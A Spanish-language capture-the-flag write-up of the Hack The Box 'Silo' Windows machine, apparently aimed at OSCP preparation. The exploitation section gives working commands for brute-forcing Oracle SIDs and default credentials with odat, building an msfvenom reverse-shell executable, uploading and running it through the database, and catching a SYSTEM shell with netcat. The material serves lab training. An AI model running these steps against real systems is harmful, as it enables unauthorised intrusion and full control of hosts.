Saltar al contenido

HackTheBox – Silo – Writeup – (OSCP Friendly)

En este post voy a vulnerar la máquina Silo de Hack the Box. Es una máquina Windows de nivel medio basado en Oracle que se puede vulnerar de forma MUY sencilla sin necesidad de hacer escalada de privilegios.

Enumeración

Comienzo escaneado los 65535 puertos del protocolo TCP, estableciendo un envío mínimo de 10000 paquetes por segundo; esto es muy ruidoso pero al ser un entorno controlado no me preocupa el ruido.

nmap -p- --min-rate 10000 -n --open 10.10.10.82

En la máquina hay dieciséis puertos abiertos. Escaneo los ocho primeros puertos que he encontrado (ya que el resto son puertos dinámicos del sistema) para ver la versión de los servicios que están corriendo en ellos y ejecuto una serie de scripts de enumeración básicos.

nmap -p80,135,139,445,1521,5985,8080,47001 -sV -sC 10.10.10.82
Starting Nmap 7.91 ( https://nmap.org ) at 2021-11-28 17:06 CET
Nmap scan report for 10.10.10.82
Host is up (0.12s latency).

PORT      STATE SERVICE      VERSION
80/tcp    open  http         Microsoft IIS httpd 8.5
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/8.5
|_http-title: IIS Windows Server
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
1521/tcp  open  oracle-tns   Oracle TNS listener 11.2.0.2.0 (unauthorized)
5985/tcp  open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
8080/tcp  open  http         Oracle XML DB Enterprise Edition httpd
| http-auth: 
| HTTP/1.1 401 Unauthorized\x0D
|_  Basic realm=XDB
|_http-server-header: Oracle XML DB/Oracle Database
|_http-title: 401 Unauthorized
47001/tcp open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 14m06s, deviation: 0s, median: 14m06s
| smb-security-mode: 
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: supported
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2021-11-28T16:20:38
|_  start_date: 2021-11-27T16:52:20

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.81 seconds

HTTP

He encontrado dos servicios http funcionado en los puertos 80 y 8080 respectivamente. Leo las cabeceras de los dos puertos pero no veo ninguna información nueva.

whatweb http://10.10.10.82:80/
whatweb http://10.10.10.82:8080/

Puerto 80

Accedo a este puerto por el navegador y encuentro la típica pantalla de IIS con la que no puedo interactuar.

No encuentro directorios, subdominios o ficheros asociados a este servicio por lo que dejó aquí la enumeración.

Puerto 8080

Accedo a este puerto por el navegador y me aparece un banner de autenticación.

Después de probar varias credenciales típicas sin resultado, me fijo en que al final pone el mensaje The site says: "XDB". Buscando un poco de información relacionada con este mensaje, me dirijo a la ruta http://10.10.10.82:8080/apex, que me redijire a la ruta http://10.10.10.82:8080/apex/f?p=4550:1:4497279845931558, donde llego a la pantalla de autenticación de la plataforma Oracle Application Express.

Nuevamente pruebo varías credenciales por defecto pero no obtengo ningún resultado.

SMB – Puerto 445

Utilizo crackmapexec para enumerar el servicio smb pero solamente obtengo la versión del sistema operativo (que tampoco está mal).

crackmapexec smb 10.10.10.82

Intento acceder al smb con el cliente smbclient con el usuario NULL pero veo que está desactivado.

Explotación

Ya que no he podido acceder al Oracle en el servicio web, voy a explotar su base de datos (puerto 1521) con la herramienta odat.

Tengo dos opciones para instalar esta herramienta. Ya que se encuentra en por defecto en el repositorio de kali linux, puedo añadirla con un sudo apt install odat o bien puedo descargarla de su repositorio de github e instalarla a mano. La segunda opción es bastante mas tediosa pero tiene la opción de poder instalar plantillas de colores para los logs de salida lo que hace mas cómoda su lectura.

python3 odat.py --help

En primer lugar necesito obtener un SID válido. Leyendo las opciones de la herramienta, veo que lo puedo obtener con el parámetro sidguesser para buscar SIDs por fuerza bruta (utilizo el diccionario por defecto).

python3 odat.py sidguesser -s 10.10.10.82

Encuentro que XE es un SID válido.

Continuo buscando credenciales válidas para este SID. Leyendo las opciones de la herramienta, veo que lo puedo obtener con el parámetro passwordguesser para buscar SIDs por fuerza bruta. Voy a utilizar un diccionario muy bueno para credenciales de Oracle que posee Metasploit que puedo encontrar en la ruta /usr/share/metasploit-framework/data/wordlists/oracle_default_userpass.txt.

Viendo las opciones para utilizar mi propio diccionario, veo que la herramienta me exige que el usuario y la contraseña estén separados por una barra lateral (/).

En el diccionario, las credenciales están separadas por un espacio, pero esto puedo cambiarlo fácilmente con la herramienta tr.

cat raw_dicc.txt | tr ' ' '/' > dicc.txt

Ejecuto el comando y obtengo las credenciales scott:tiger.

sudo python3 odat.py passwordguesser -s 10.10.10.82 -d XE --accounts-file /home/DrP1ng/ctf/htb/silo/dicc.txt

Con el parámetro utlfile de odat puedo, entre otras cosas, subir ficheros a una ruta que yo elija. Creo un binario malicioso para obtener una shell reversa con msfvenom y lo subo al directorio C:\Windows\Temp (aunque no tenga prueba de que exista, deduzco que si).

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.15 LPORT=7897 -f exe > shell.exe
python3 odat.py utlfile -s 10.10.10.82 -d XE -U scott -P tiger --putFile /Temp shell.exe shell.exe

El binario malicioso tiene que estar en el mismo directorio que el odat.py.

Si me aparece un mensaje indicando que no tengo permisos, solo tengo que añadir el parámetro --sysdba al final del comando (si al final del comando añado -h, obtengo esa indicación).

Por último solo tengo que ejecutar el binario y eso puedo hacerlo con el parámetro externaltable de odat. Pongo un netcat a la escucha por el puerto 7897 y ejecuto el comando para obtener la shell reversa.

rlwrap nc -nlvp 7897
python3 odat.py externaltable -s 10.10.10.82 -d XE -U scott -P tiger --exec /Temp shell.exe

Como se puede ver en la imagen anterior, consigo una shell reversa directamente como nt authority\system, es decir, con permisos de adminsitrador, por lo que no tengo que hacer escalada de privilegios.

Flags

La flag de usuario la encuentro en la ruta C:\Users\Phineas\Desktop\user.txt.

La flag de root (administrador) la encuentro en la ruta C:\Users\Administrator\Desktop\root.txt.

Publicado enCTFHTBOSCPwindows